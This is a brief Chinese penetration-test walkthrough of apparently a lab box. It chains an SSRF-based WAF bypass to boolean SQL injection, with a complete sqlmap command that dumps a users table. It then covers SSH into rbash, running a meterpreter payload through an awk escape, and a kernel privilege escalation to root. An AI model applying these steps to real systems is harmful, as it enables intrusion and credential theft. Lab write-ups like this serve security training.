玄学waf+注入盒子
注意到8080是filtered
先看web checkpromo.php可以POST,image.php可能有SSRF 但是WAF很讨厌 POST内容只要有单引号,就拦掉
先看SSRF 可以读文件 但是找了一圈没啥用。。。 可以读数据库配置 拿ssrf探测一下localhost的端口 之前被拦的8080可以 而且内容和80一样
那么可以这样绕WAF src带入一层url编码,SSRF访问8080的checkpromo,把注入的payload再带入一层url编码 类似这样 即可过WAF 写tamper
这里有个非常玄学的问题 … 请求包太长会卡10秒,然后报408错误 可以这样搞 删掉useragent 删掉referer //sqlmap把level开高会带上 删掉payload后面的几个随机字符。。。 可以通过burpsuite代理一下,然后拿正则把这些东西弄掉 这里卡了超级久…
以下是完整的sqlmap指令
sqlmap -u "http://192.168.20.192/image.php?src=http://127.0.0.1:8080/checkpromo.php?promocode=PENTEST123*" --tamper=demo --dbms=mysql --technique=B -D fancydb -T users --proxy=http://127.0.0.1:8080 --dump --no-cast
结果
拿这账号密码登录ssh
进去是个rbash
没有回显。。。
wget下个meterpreter,找个gtfobins运行即可
这里不能直接跑/tmp/111
换成awk 'BEGIN {system("/tmp/111")}'
即可得到meterpreter
然后看到内核3.13.0 直接提
拿到root
可以研究一下WAF 看到80是个python 真正的web再8080上 那么WAF就是个正向代理+过滤